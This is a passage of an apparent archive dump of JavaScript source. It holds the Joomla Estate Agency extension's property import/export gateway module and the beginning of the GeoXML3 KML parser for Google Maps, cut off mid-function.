 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate
 * agency
 * 
 * @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license GNU/GPL, see LICENSE.txt
 */

var JeaGateway = {

	startExport : function (gatewayId, gatewayTitle, webConsole) {

		var requestParams = {
			option: 'com_jea',
			format: 'json',
			task: 'gateway.export',
			id: gatewayId
		}
		
		var startMessage =
Joomla.JText._('COM_JEA_EXPORT_START_MESSAGE').replace('%s',
gatewayTitle)
	
		var startLine = webConsole.appendLine({text: startMessage})
	
		jQuery.getJSON( "index.php", requestParams)
			.done(function( json ) {
				
				if (json.error) {
					jQuery(startLine).addClass('error');
					jQuery(startLine).text('> ' + json.error);
					return;
				}
				
				var endMessage = Joomla.JText._('COM_JEA_EXPORT_END_MESSAGE')
					.replace('%s', gatewayTitle)
					.replace('%d', json.exported_properties)
				
				if (json.ftp_sent) {
					endMessage += ' ' +
Joomla.JText._('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS')
				}
	
				endMessage += ' <a href="' + json.zip_url
+'">' +
Joomla.JText._('COM_JEA_GATEWAY_DOWNLOAD_ZIP') +
'</a>'
	
				jQuery(startLine).html('> ' + endMessage)
				
				jQuery(document).trigger('gatewayActionDone');
			})
			.fail(function( jqxhr, textStatus, error ) {
				var err = textStatus + ", " + error
				jQuery(line).addClass('error');
				jQuery(line).text('> ' + "Request Failed: " +
err)
			});
	},

	startImport : function(gatewayId, gatewayTitle, webConsole) {
		var startMessage =
Joomla.JText._('COM_JEA_IMPORT_START_MESSAGE').replace('%s',
gatewayTitle)

		var startLine = webConsole.appendLine({text: startMessage})
		var progressbar = webConsole.addProgressBar('import_bar_' +
gatewayId);

		webConsole.addPlaceHolder('properties_found_'   + gatewayId);
		webConsole.addPlaceHolder('properties_updated_' + gatewayId);
		webConsole.addPlaceHolder('properties_created_' + gatewayId);
		webConsole.addPlaceHolder('properties_removed_' + gatewayId);

		JeaGateway.importRequest(gatewayId, gatewayTitle, startLine, webConsole);
	},

	importRequest : function(gatewayId, gatewayTitle, startLine, webConsole) {

		var requestParams = {
			option: 'com_jea',
			format: 'json',
			task: 'gateway.import',
			id: gatewayId
		}

		jQuery.getJSON( "index.php", requestParams)
			.done(function(response) {

				if (response.error) {
					jQuery(startLine).addClass('error');
					jQuery(startLine).text('> ' + response.error);
					return;
				}

				if (response.total == 0) {
					jQuery(startLine).text('> ' + 'Aucun bien à
importer.');
					return;
				}

				var progressbar = webConsole.getProgressBar('import_bar_'+
gatewayId);

				if (progressbar.step == 0) {
					webConsole.getPlaceHolder('properties_found_' +
gatewayId).empty().html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_FOUND').replace('%s',
response.total));
					progressbar.options.steps = response.total;
				}

				webConsole.getPlaceHolder('properties_updated_' +
gatewayId).empty()
					.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_UPDATED').replace('%s',
response.updated));
				webConsole.getPlaceHolder('properties_created_' +
gatewayId).empty()
					.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_CREATED').replace('%s',
response.created));
				webConsole.getPlaceHolder('properties_removed_' +
gatewayId).empty()
					.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_DELETED').replace('%s',
response.removed));

				progressbar.setStep(response.imported);

				if (response.total == response.imported) {
					var endMessage =
Joomla.JText._('COM_JEA_IMPORT_END_MESSAGE').replace('%s',
gatewayTitle)
					jQuery(startLine).html('> ' + endMessage)
					jQuery(document).trigger('gatewayActionDone')
					return;
				}

				// Recursive
				JeaGateway.importRequest(gatewayId, gatewayTitle, startLine,
webConsole)
			})
			.fail(function( jqxhr, textStatus, error ) {
				var err = textStatus + ", " + error
				jQuery(startLine).addClass('error');
				jQuery(startLine).text('> ' + "Request Failed: "
+ err)
			});
	}

}

js/geoxml3.js000064400000234325151165074470007117 0ustar00/**
 * @fileOverview Renders KML on the Google Maps JavaScript API Version 3
 * @name GeoXML3
 * @author Sterling Udell, Larry Ross, Brendan Byrd
 * @see http://code.google.com/p/geoxml3/
 *
 * geoxml3.js
 *
 * Renders KML on the Google Maps JavaScript API Version 3
 * http://code.google.com/p/geoxml3/
 *
 * Copyright 2010 Sterling Udell, Larry Ross
 *
 * Licensed under the Apache License, Version 2.0 (the
"License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *    http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS"
BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */
/**
 * A MultiGeometry object that will allow multiple polylines in a
MultiGeometry
 * containing LineStrings to be treated as a single object
 *
 * @param {MutiGeometryOptions} anonymous object.  Available properties:
 * map: The map on which to attach the MultiGeometry
 * paths: the individual polylines
 * polylineOptions: options to use when constructing all the polylines
 *
 * @constructor
 */
// only if Google Maps API included
if (!!window.google && !! google.maps) { 
function MultiGeometry(multiGeometryOptions) {
   function createPolyline(polylineOptions, mg) {
     var polyline = new google.maps.Polyline(polylineOptions);
     google.maps.event.addListener(polyline,'click',
function(evt) { google.maps.event.trigger(mg,'click',evt);});
     google.maps.event.addListener(polyline,'dblclick',
function(evt) { google.maps.event.trigger(mg, 'dblclick',
evt);});
     google.maps.event.addListener(polyline,'mousedown',
function(evt) { google.maps.event.trigger(mg, 'mousedown',
evt);});
     google.maps.event.addListener(polyline,'mousemove',
function(evt) { google.maps.event.trigger(mg, 'mousemove',
evt);});
     google.maps.event.addListener(polyline,'mouseout',
function(evt) { google.maps.event.trigger(mg, 'mouseout',
evt);});
     google.maps.event.addListener(polyline,'mouseover',
function(evt) { google.maps.event.trigger(mg, 'mouseover',
evt);});
     google.maps.event.addListener(polyline,'mouseup',
function(evt) { google.maps.event.trigger(mg, 'mouseup', evt);});
     google.maps.event.addListener(polyline,'rightclick',
function(evt) { google.maps.event.trigger(mg, 'rightclick',
evt);});
     return polyline;
   }
   this.setValues(multiGeometryOptions);
   this.polylines = [];

   for (i=0; i<this.paths.length;i++) {
     var polylineOptions = multiGeometryOptions;
     polylineOptions.path = this.paths[i];
     var polyline = createPolyline(polylineOptions,this);
     // Bind the polyline properties to the MultiGeometry properties
     this.polylines.push(polyline);
   }
}
MultiGeometry.prototype = new google.maps.MVCObject();
MultiGeometry.prototype.changed = function(key) {
    // alert(key+" changed");
    if (this.polylines) {
	for (var i=0; i<this.polylines.length; i++) {
	    this.polylines[i].set(key,this.get(key));
	}
    }
};
MultiGeometry.prototype.setMap = function(map) {
this.set('map',map); };
MultiGeometry.prototype.getMap = function() { return
this.get('map'); };
}

// Extend the global String object with a method to remove leading and
trailing whitespace
if (!String.prototype.trim) {
/**
 * Remove leading and trailing whitespace.
 *
 * @augments String
 * @return {String}
 */
  String.prototype.trim = function () {
    return this.replace(/^\s+|\s+$/g, '');
  };
}

/**
 * @namespace The GeoXML3 namespace.
 */
geoXML3 = window.geoXML3 || {instances: []};

/**
 * Constructor for the root KML parser object.
 *
 * <p>All top-level objects and functions are declared under a
namespace of geoXML3.
 * The core object is geoXML3.parser; typically, you'll instantiate a
one parser
 * per map.</p>
 *
 * @class Main XML parser.
 * @param {geoXML3.parserOptions} options
 */
geoXML3.parser = function (options) {
  // Inherit from Google MVC Object to include event handling   
  google.maps.MVCObject.call(this);   

  // Private variables
  var parserOptions = new geoXML3.parserOptions(options);
  var docs        = [];  // Individual KML documents
  var docsByUrl   = {};  // Same docs as an hash by cleanURL
  var kmzMetaData = {};  // Extra files from KMZ data
  var styles      = {};  // Global list of styles
  var lastPlacemark;
  var parserName;
  if (!parserOptions.infoWindow && parserOptions.singleInfoWindow)
    parserOptions.infoWindow = new google.maps.InfoWindow();

  var parseKmlString = function (kmlString, docSet) {
    // Internal values for the set of documents as a whole
    var internals = {
      parser: this,
      docSet: docSet || [],
      remaining: 1,
      parseOnly: !(parserOptions.afterParse || parserOptions.processStyles)
    };
    thisDoc = new Object();
    thisDoc.internals = internals;
    internals.docSet.push(thisDoc);
    render(geoXML3.xmlParse(kmlString),thisDoc);
  }

  var parse = function (urls, docSet) {
    // Process one or more KML documents
    if (!parserName) {
      parserName = 'geoXML3.instances[' +
(geoXML3.instances.push(this) - 1) + ']';
    }

    if (typeof urls === 'string') {
      // Single KML document
      urls = [urls];
    }

    // Internal values for the set of documents as a whole
    var internals = {
      parser: this,
      docSet: docSet || [],
      remaining: urls.length,
      parseOnly: !(parserOptions.afterParse || parserOptions.processStyles)
    };
    var thisDoc, j;
    for (var i = 0; i < urls.length; i++) {
      var baseUrl = cleanURL(defileURL(location.pathname), urls[i]);
      if (docsByUrl[baseUrl]) {
        // Reloading an existing document
        thisDoc = docsByUrl[baseUrl];
        thisDoc.reload = true;
      }
      else {
        thisDoc = new Object();
        thisDoc.baseUrl = baseUrl;
        internals.docSet.push(thisDoc);
      }
      thisDoc.url       = urls[i];
      thisDoc.internals = internals;
      fetchDoc(thisDoc.url, thisDoc);
    }
  };

  function fetchDoc(url, doc, resFunc) {
    resFunc = resFunc || function (responseXML) { render(responseXML, doc);
};

    if (typeof ZipFile === 'function' && typeof JSIO ===
'object' && typeof JSIO.guessFileType ===
'function') {  // KMZ support requires these modules loaded
      // if url is a data URI scheme, do not guess type based on extension.
      if (/^data:[^,]*(kmz)/.test(doc.baseUrl)) {
         contentType = JSIO.FileType.Binary;
      } else if (/^data:[^,]*(kml|xml)/.test(doc.baseUrl)) {
         contentType = JSIO.FileType.XML;
      } else if (/^data:/.test(doc.baseUrl)) {
         contentType = JSIO.FileType.Unknown;
      } else if (parserOptions.forceZip) {	
         contentType = JSIO.FileType.Binary;
      } else {
         contentType = JSIO.guessFileType(doc.baseUrl);
      }
      if (contentType == JSIO.FileType.Binary || contentType ==
JSIO.FileType.Unknown) {
         doc.isCompressed = true;
         doc.baseDir = doc.baseUrl + '/';
         geoXML3.fetchZIP(url, resFunc, doc.internals.parser);
         return;
      }
    }
    doc.isCompressed = false;
    doc.baseDir = defileURL(doc.baseUrl);
    geoXML3.fetchXML(url, resFunc);
  }

  var hideDocument = function (doc) {
    if (!doc) doc = docs[0];
    // Hide the map objects associated with a document
    var i;
    if (!!doc.markers) {
      for (i = 0; i < doc.markers.length; i++) {
        if(!!doc.markers[i].infoWindow) doc.markers[i].infoWindow.close();
        doc.markers[i].setVisible(false);
      }
    }
    if (!!doc.ggroundoverlays) {
      for (i = 0; i < doc.ggroundoverlays.length; i++) {
        doc.ggroundoverlays[i].setOpacity(0);
      }
    }
    if (!!doc.gpolylines) {
      for (i=0;i<doc.gpolylines.length;i++) {
        if(!!doc.gpolylines[i].infoWindow)
doc.gpolylines[i].infoWindow.close();
        doc.gpolylines[i].setMap(null);
      }
    }
    if (!!doc.gpolygons) {
      for (i=0;i<doc.gpolygons.length;i++) {
        if(!!doc.gpolygons[i].infoWindow)
doc.gpolygons[i].infoWindow.close();
        doc.gpolygons[i].setMap(null);
      }
    }
  };

  var showDocument = function (doc) {
    if (!doc) doc = docs[0];
    // Show the map objects associated with a document
    var i;
    if (!!doc.markers) {
      for (i = 0; i < doc.markers.length; i++) {
        doc.markers[i].setVisible(true);
      }
    }
    if (!!doc.ggroundoverlays) {
      for (i = 0; i < doc.ggroundoverlays.length; i++) {
       
doc.ggroundoverlays[i].setOpacity(doc.ggroundoverlays[i].percentOpacity_);
      }
    }
    if (!!doc.gpolylines) {
      for (i=0;i<doc.gpolylines.length;i++) {
        doc.gpolylines[i].setMap(parserOptions.map);
      }
    }
    if (!!doc.gpolygons) {
      for (i=0;i<doc.gpolygons.length;i++) {
        doc.gpolygons[i].setMap(parserOptions.map);
      }
    }
  };

  var defaultStyle = {
    balloon: {
      bgColor:   'ffffffff',
      textColor: 'ff000000',
      text:
"<h3>$[name]</h3>\n<div>$[description]</div>\n<div>$[geDirections]</div>",
      displayMode: 'default'
    },
    icon: {
      scale: 1.0,
      dim: {
        x: 0,
        y: 0,
        w: -1,
        h: -1
      },
      hotSpot: {
        x: 0.5,
        y: 0.5,
        xunits: 'fraction',
        yunits: 'fraction'
      }
    },
    line: {
      color: 'ffffffff', // white (KML default)
      colorMode: 'normal',
      width: 1.0
    },
    poly: {
      color: 'ffffffff', // white (KML default)
      colorMode: 'normal',
      fill: true,
      outline: true
    }
  };

  var kmlNS = 'http://www.opengis.net/kml/2.2';
  var gxNS  = 'http://www.google.com/kml/ext/2.2';
  var nodeValue              = geoXML3.nodeValue;
  var getBooleanValue        = geoXML3.getBooleanValue;
  var getElementsByTagNameNS = geoXML3.getElementsByTagNameNS;
  var getElementsByTagName   = geoXML3.getElementsByTagName;

function processStyleUrl(node) {
  var styleUrlStr = nodeValue(getElementsByTagName(node,
'styleUrl')[0]);
  if (!!styleUrlStr && styleUrlStr.indexOf('#') != -1) 
    var styleUrl = styleUrlStr.split('#');
  else var styleUrl = ["",""];
  return styleUrl;
}

  function processStyle(thisNode, baseUrl, styleID, baseDir) {
    var style = (baseUrl === '{inline}') ? clone(defaultStyle) :
(styles[baseUrl][styleID] = styles[baseUrl][styleID] ||
clone(defaultStyle));

    var styleNodes = getElementsByTagName(thisNode,
'BalloonStyle');
    if (!!styleNodes && styleNodes.length > 0) {
      style.balloon.bgColor     =
nodeValue(getElementsByTagName(styleNodes[0], 'bgColor')[0],    
style.balloon.bgColor);
      style.balloon.textColor   =
nodeValue(getElementsByTagName(styleNodes[0], 'textColor')[0],  
style.balloon.textColor);
      style.balloon.text        =
nodeValue(getElementsByTagName(styleNodes[0], 'text')[0],       
style.balloon.text);
      style.balloon.displayMode =
nodeValue(getElementsByTagName(styleNodes[0], 'displayMode')[0],
style.balloon.displayMode);
    }

    // style.list = (unsupported; doesn't make sense in Google Maps)

    var styleNodes = getElementsByTagName(thisNode, 'IconStyle');
    if (!!styleNodes && styleNodes.length > 0) {
      var icon = style.icon;

      icon.scale = parseFloat(nodeValue(getElementsByTagName(styleNodes[0],
'scale')[0], icon.scale));
      // style.icon.heading   = (unsupported; not supported in API)
      // style.icon.color     = (unsupported; not supported in API)
      // style.icon.colorMode = (unsupported; not supported in API)

      styleNodes = getElementsByTagName(styleNodes[0],
'hotSpot');
      if (!!styleNodes && styleNodes.length > 0) {
        icon.hotSpot = {
          x:      styleNodes[0].getAttribute('x'),
          y:      styleNodes[0].getAttribute('y'),
          xunits: styleNodes[0].getAttribute('xunits'),
          yunits: styleNodes[0].getAttribute('yunits')
        };
      }

      styleNodes = getElementsByTagName(thisNode, 'Icon');
      if (!!styleNodes && styleNodes.length > 0) {
        icon.href = nodeValue(getElementsByTagName(styleNodes[0],
'href')[0]);
        icon.url  = cleanURL(baseDir, icon.href);
        // Detect images buried in KMZ files (and use a base64 encoded URL)
        if (kmzMetaData[icon.url]) icon.url =
kmzMetaData[icon.url].dataUrl;

        // Support for icon palettes and exact size dimensions
        icon.dim = {
          x: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'x')[0], icon.dim.x)),
          y: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'y')[0], icon.dim.y)),
          w: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'w')[0], icon.dim.w)),
          h: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'h')[0], icon.dim.h))
        };

        // certain occasions where we need the pixel size of the image
(like the default settings...)
        // (NOTE: Scale is applied to entire image, not just the section of
the icon palette.  So,
        //  if we need scaling, we'll need the img dimensions no
matter what.)
        if (true /* (icon.dim.w < 0 || icon.dim.h < 0) &&
(icon.xunits != 'pixels' || icon.yunits == 'fraction')
|| icon.scale != 1.0 */) {
          // (hopefully, this will load by the time we need it...)
          icon.img = new Image();
          icon.img.onload = function() {
            if (icon.dim.w < 0 || icon.dim.h < 0) {
              icon.dim.w = this.width;
              icon.dim.h = this.height;
            } else {
              icon.dim.th = this.height;
            }
          };
          icon.img.src = icon.url;

          // sometimes the file is already cached and it never calls onLoad
          if (icon.img.width > 0) {
            if (icon.dim.w < 0 || icon.dim.h < 0) {
             icon.dim.w = icon.img.width;
             icon.dim.h = icon.img.height;
            } else {
             icon.dim.th = icon.img.height;
            }
          }
        }
      }
    }

    // style.label = (unsupported; may be possible but not with API)

    styleNodes = getElementsByTagName(thisNode, 'LineStyle');
    if (!!styleNodes && styleNodes.length > 0) {
      style.line.color     = nodeValue(getElementsByTagName(styleNodes[0],
'color')[0],     style.line.color);
      style.line.colorMode = nodeValue(getElementsByTagName(styleNodes[0],
'colorMode')[0], style.line.colorMode);
      style.line.width     = nodeValue(getElementsByTagName(styleNodes[0],
'width')[0],     style.line.width);
      // style.line.outerColor      = (unsupported; not supported in API)
      // style.line.outerWidth      = (unsupported; not supported in API)
      // style.line.physicalWidth   = (unsupported; unneccesary in Google
Maps)
      // style.line.labelVisibility = (unsupported; possible to implement)
    }

    styleNodes = getElementsByTagName(thisNode, 'PolyStyle');
    if (!!styleNodes && styleNodes.length > 0) {
      style.poly.color     = nodeValue(     
getElementsByTagName(styleNodes[0], 'color')[0],    
style.poly.color);
      style.poly.colorMode = nodeValue(     
getElementsByTagName(styleNodes[0], 'colorMode')[0],
style.poly.colorMode);
      style.poly.outline   =
getBooleanValue(getElementsByTagName(styleNodes[0],
'outline')[0],   style.poly.outline);
      style.poly.fill      =
getBooleanValue(getElementsByTagName(styleNodes[0], 'fill')[0],  
   style.poly.fill);
    }
    return style;
  }

  // from
http://stackoverflow.com/questions/122102/what-is-the-most-efficient-way-to-clone-a-javascript-object
  // http://keithdevens.com/weblog/archive/2007/Jun/07/javascript.clone
  function clone(obj){
    if(obj == null || typeof(obj) != 'object') return obj;
    if (obj.cloneNode) return obj.cloneNode(true);
    var temp = new obj.constructor();
    for(var key in obj) temp[key] = clone(obj[key]);
    return temp;
  }

  function processStyleMap(thisNode, baseUrl, styleID, baseDir) {
    var pairs = getElementsByTagName(thisNode, 'Pair');
    var map = new Object();

    // add each key to the map
    for (var pr=0;pr<pairs.length;pr++) {
      var pairKey      = nodeValue(getElementsByTagName(pairs[pr],
'key')[0]);
      var pairStyle    = nodeValue(getElementsByTagName(pairs[pr],
'Style')[0]);
      var pairStyleUrl = processStyleUrl(pairs[pr]);
      var pairStyleBaseUrl = pairStyleUrl[0] ? cleanURL(baseDir,
pairStyleUrl[0]) : baseUrl;
      var pairStyleID      = pairStyleUrl[1];

      if (!!pairStyle) {
        map[pairKey] = processStyle(pairStyle, pairStyleBaseUrl,
pairStyleID);
      } else if (!!pairStyleID &&
!!styles[pairStyleBaseUrl][pairStyleID]) {
        map[pairKey] = clone(styles[pairStyleBaseUrl][pairStyleID]);
      }
    }
    if (!!map["normal"]) {
      styles[baseUrl][styleID] = clone(map["normal"]);
    } else {
      styles[baseUrl][styleID] = clone(defaultStyle);
    }
    if (!!map["highlight"] &&
!!parserOptions.processStyles) {
      processStyleID(map["highlight"]);
    }
    styles[baseUrl][styleID].map = clone(map);
  }

  function processPlacemarkCoords(node, tag) {
    var parent = getElementsByTagName(node, tag);
    var coordListA = [];
    for (var i=0; i<parent.length; i++) {
      var coordNodes = getElementsByTagName(parent[i],
'coordinates');
      if (!coordNodes) {
        if (coordListA.length > 0) {
          break;
        } else {
          return [{coordinates: []}];
        }
      }

      for (var j=0; j<coordNodes.length;j++) {
        var coords = nodeValue(coordNodes[j]).trim();
        coords = coords.replace(/,\s+/g, ',');
        var path = coords.split(/\s+/g);
        var pathLength = path.length;
        var coordList = [];
        for (var k = 0; k < pathLength; k++) {
          coords = path[k].split(',');
          if (!isNaN(coords[0]) && !isNaN(coords[1])) {
            coordList.push({
              lat: parseFloat(coords[1]),
              lng: parseFloat(coords[0]),
              alt: parseFloat(coords[2])
            });
          }
        }
        coordListA.push({coordinates: coordList});
      }
    }
    return coordListA;
  }

  var render = function (responseXML, doc) {
    // Callback for retrieving a KML document: parse the KML and display it
on the map
    if (!responseXML || responseXML == "failed parse") {
      // Error retrieving the data
      geoXML3.log('Unable to retrieve ' + doc.url);
      if (parserOptions.failedParse) parserOptions.failedParse(doc);
      doc.failed = true;
      return;
    } else if (responseXML.parseError &&
responseXML.parseError.errorCode != 0) {
      // IE parse error
      var err = responseXML.parseError;
      var msg = 'Parse error in line ' + err.line + ', col
' + err.linePos + ' (error code: ' + err.errorCode +
")\n" +
        "\nError Reason: " + err.reason +
        'Error Line: ' + err.srcText;

      geoXML3.log('Unable to retrieve ' + doc.url + ':
' + msg);
      if (parserOptions.failedParse) parserOptions.failedParse(doc);
      doc.failed = true;
      return;
    } else if (responseXML.documentElement &&
responseXML.documentElement.nodeName == 'parsererror') {
      // Firefox parse error
      geoXML3.log('Unable to retrieve ' + doc.url + ':
' + responseXML.documentElement.childNodes[0].nodeValue);
      if (parserOptions.failedParse) parserOptions.failedParse(doc);
      doc.failed = true;
      return;
    } else if (!doc) {
      throw 'geoXML3 internal error: render called with null
document';
    } else { //no errors
      var i;
      doc.placemarks      = [];
      doc.groundoverlays  = [];
      doc.ggroundoverlays = [];
      doc.networkLinks    = [];
      doc.gpolygons       = [];
      doc.gpolylines      = [];

      // Check for dependent KML files
      var nodes = getElementsByTagName(responseXML, 'styleUrl');
      var docSet = doc.internals.docSet;

      for (var i = 0; i < nodes.length; i++) {
        var url = nodeValue(nodes[i]).split('#')[0];
        if (!url)                 continue;  // #id (inside doc)
        var rUrl = cleanURL( doc.baseDir, url );
        if (rUrl === doc.baseUrl) continue;  // self
        if (docsByUrl[rUrl])      continue;  // already loaded

        var thisDoc;
        var j = docSet.indexOfObjWithItem('baseUrl', rUrl);
        if (j != -1) {
          // Already listed to be loaded, but probably in the wrong order.
          // Load it right away to immediately resolve dependency.
          thisDoc = docSet[j];
          if (thisDoc.failed) continue;  // failed to load last time;
don't retry it again
        }
        else {
          // Not listed at all; add it in
          thisDoc           = new Object();
          thisDoc.url       = rUrl;  // url can't be trusted inside
KMZ files, since it may .. outside of the archive
          thisDoc.baseUrl   = rUrl;
          thisDoc.internals = doc.internals;

          doc.internals.docSet.push(thisDoc);
          doc.internals.remaining++;
        }

        // render dependent KML first then re-run renderer
        fetchDoc(rUrl, thisDoc, function (thisResXML) {
          render(thisResXML, thisDoc);
          render(responseXML, doc);
        });

        // to prevent cross-dependency issues, just load the one
        // file first and re-check the rest later
        return;
      }

      // Parse styles
      doc.styles = styles[doc.baseUrl] = styles[doc.baseUrl] || {};
      var styleID, styleNodes;
      nodes = getElementsByTagName(responseXML, 'Style');
      nodeCount = nodes.length;
      for (i = 0; i < nodeCount; i++) {
        thisNode = nodes[i];
        var styleID = thisNode.getAttribute('id');
        if (!!styleID) processStyle(thisNode, doc.baseUrl, styleID,
doc.baseDir);
      }
      // Parse StyleMap nodes
      nodes = getElementsByTagName(responseXML, 'StyleMap');
      for (i = 0; i < nodes.length; i++) {
        thisNode = nodes[i];
        var styleID = thisNode.getAttribute('id');
        if (!!styleID) processStyleMap(thisNode, doc.baseUrl, styleID,
doc.baseDir);
      }

      if (!!parserOptions.processStyles || !parserOptions.createMarker) {
        // Convert parsed styles into GMaps equivalents
        processStyles(doc);
      }

      // Parse placemarks
      if (!!doc.reload && !!doc.markers) {
        for (i = 0; i < doc.markers.length; i++) {
          doc.markers[i].active = false;
        }
      }
      var placemark, node, coords, path, marker, poly;
      var pathLength, marker, polygonNodes, coordList;
      var placemarkNodes = getElementsByTagName(responseXML,
'Placemark');
      for (pm = 0; pm < placemarkNodes.length; pm++) {
        // Init the placemark object
        node = placemarkNodes[pm];
        var styleUrl = processStyleUrl(node);
        placemark = {
          name:         nodeValue(getElementsByTagName(node,
'name')[0]),
          description:  nodeValue(getElementsByTagName(node,
'description')[0]),
          styleUrl:     styleUrl.join('#'),
          styleBaseUrl: styleUrl[0] ? cleanURL(doc.baseDir, styleUrl[0]) :
doc.baseUrl,
          styleID:      styleUrl[1],
          visibility:        getBooleanValue(getElementsByTagName(node,
'visibility')[0], true),
          balloonVisibility: getBooleanValue(getElementsByTagNameNS(node,
gxNS, 'balloonVisibility')[0],
!parserOptions.suppressInfoWindows),
          id:           node.getAttribute('id')
        };
        placemark.style = (styles[placemark.styleBaseUrl] &&
styles[placemark.styleBaseUrl][placemark.styleID]) || clone(defaultStyle);
        // inline style overrides shared style
        var inlineStyles = getElementsByTagName(node, 'Style');
        if (inlineStyles && (inlineStyles.length > 0)) {
          var style = processStyle(node, '{inline}',
'{inline}');
          processStyleID(style);
          if (style) placemark.style = style;
        }

        if (/^https?:\/\//.test(placemark.description)) {
          placemark.description = ['<a href="',
placemark.description, '">', placemark.description,
'</a>'].join('');
        }

        // record list of variables for substitution
        placemark.vars = {
          display: {
            name:         'Name',
            description:  'Description',
            address:      'Street Address',
            id:           'ID',
            Snippet:      'Snippet',
            geDirections: 'Directions'
          },
          val: {
            name:        placemark.name || '',
            description: placemark.description || '',
            address:     nodeValue(getElementsByTagName(node,
'address')[0], ''),
            id:          node.getAttribute('id') || '',
            Snippet:     nodeValue(getElementsByTagName(node,
'Snippet')[0], '')
          },
          directions: [
            'f=d',
            'source=GeoXML3'
          ]
        };

        // add extended data to variables
        var extDataNodes = getElementsByTagName(node,
'ExtendedData');
        if (!!extDataNodes && extDataNodes.length > 0) {
          var dataNodes = getElementsByTagName(extDataNodes[0],
'Data');
          for (var d = 0; d < dataNodes.length; d++) {
            var dn    = dataNodes[d];
            var name  = dn.getAttribute('name');
            if (!name) continue;
            var dName = nodeValue(getElementsByTagName(dn,
'displayName')[0], name);
            var val   = nodeValue(getElementsByTagName(dn,
'value')[0]);

            placemark.vars.val[name]     = val;
            placemark.vars.display[name] = dName;
          }
        }

        // process MultiGeometry
        var GeometryNodes = getElementsByTagName(node,
'coordinates');
        var Geometry = null;
        if (!!GeometryNodes && (GeometryNodes.length > 0)) {
          for (var gn=0;gn<GeometryNodes.length;gn++) {
            if (GeometryNodes[gn].parentNode &&
                GeometryNodes[gn].parentNode.nodeName) {
              var GeometryPN = GeometryNodes[gn].parentNode;
              Geometry = GeometryPN.nodeName;

              // Extract the coordinates
              // What sort of placemark?
              switch(Geometry) {
                case "Point":
                  placemark.Point = processPlacemarkCoords(node,
"Point")[0];
                  placemark.latlng = new
google.maps.LatLng(placemark.Point.coordinates[0].lat,
placemark.Point.coordinates[0].lng);
                  pathLength = 1;
                  break;
                case "LinearRing":
                  // Polygon/line
                  polygonNodes = getElementsByTagName(node,
'Polygon');
                  // Polygon
                  if (!placemark.Polygon)
                    placemark.Polygon = [{
                      outerBoundaryIs: {coordinates: []},
                      innerBoundaryIs: [{coordinates: []}]
                    }];
                  for (var pg=0;pg<polygonNodes.length;pg++) {
                     placemark.Polygon[pg] = {
                       outerBoundaryIs: {coordinates: []},
                       innerBoundaryIs: [{coordinates: []}]
                     }
                     placemark.Polygon[pg].outerBoundaryIs =
processPlacemarkCoords(polygonNodes[pg], "outerBoundaryIs");
                     placemark.Polygon[pg].innerBoundaryIs =
processPlacemarkCoords(polygonNodes[pg], "innerBoundaryIs");
                  }
                  coordList = placemark.Polygon[0].outerBoundaryIs;
                  break;

                case "LineString":
                  pathLength = 0;
                  placemark.LineString =
processPlacemarkCoords(node,"LineString");
                  break;

                default:
                  break;
              }
            }
          }
        }

	// parse MultiTrack/Track
        var TrackNodes =
getElementsByTagNameNS(node,gxNS,"Track");
        var coordListA = [];
        if (TrackNodes.length > 0) {  
          for (var i=0; i<TrackNodes.length; i++) {
            var coordNodes =
getElementsByTagNameNS(TrackNodes[i],gxNS,"coord");
            var coordList = [];
            for (var j=0; j<coordNodes.length;j++) { 
              var coords = geoXML3.nodeValue(coordNodes[j]).trim();
              coords = coords.split(/\s+/g);
              if (!isNaN(coords[0]) && !isNaN(coords[1])) {
                coordList.push({
                  lat: parseFloat(coords[1]), 
                  lng: parseFloat(coords[0]), 
                  alt: parseFloat(coords[2])
                });
              }
            }
	    coordListA.push({coordinates:coordList});
          }
          placemark.Track = coordListA;
        }
	      
        // call the custom placemark parse function if it is defined
        if (!!parserOptions.pmParseFn) parserOptions.pmParseFn(node,
placemark);
        doc.placemarks.push(placemark);

        // single marker
        if (placemark.Point) {
          if (!!google.maps) {
            doc.bounds = doc.bounds || new google.maps.LatLngBounds();
            doc.bounds.extend(placemark.latlng);
          }

          // Potential user-defined marker handler
          var pointCreateFunc = parserOptions.createMarker || createMarker;
          var found = false;
          if (!parserOptions.createMarker) {
            // Check to see if this marker was created on a previous load
of this document
            if (!!doc) {
              doc.markers = doc.markers || [];
              if (doc.reload) {
                for (var j = 0; j < doc.markers.length; j++) {
                    if ((doc.markers[j].id == placemark.id) ||
			// if no id, check position
                        (!doc.markers[j].id && 
                        
(doc.markers[j].getPosition().equals(placemark.latlng)))) {
                    found = doc.markers[j].active = true;
                    break;
                  }
                }
              }
            }
          }
          if (!found) {
            // Call the marker creator
            var marker = pointCreateFunc(placemark, doc);
            if (marker) { 
              marker.active = placemark.visibility;
              marker.id = placemark.id;
            }
          }
        }
        // polygon/line
        var poly, line;
        if (!!doc) {
          if (placemark.Polygon)    doc.gpolygons  = doc.gpolygons  || [];
          if (placemark.LineString) doc.gpolylines = doc.gpolylines || [];
          if (placemark.Track)      doc.gpolylines = doc.gpolylines || [];
        }

        var polyCreateFunc = parserOptions.createPolygon    ||
createPolygon;
        var lineCreateFunc = parserOptions.createLineString ||
createPolyline;
        if (placemark.Polygon) {
          poly = polyCreateFunc(placemark,doc);
          if (poly) poly.active = placemark.visibility;
        }
        if (placemark.LineString) {
          line = lineCreateFunc(placemark,doc);
          if (line) line.active = placemark.visibility;
        }
	if (placemark.Track) { // gx:Track polyline
          line = lineCreateFunc(placemark,doc);
          if (line) line.active = placemark.visibility;
        }
        if (!!google.maps) {
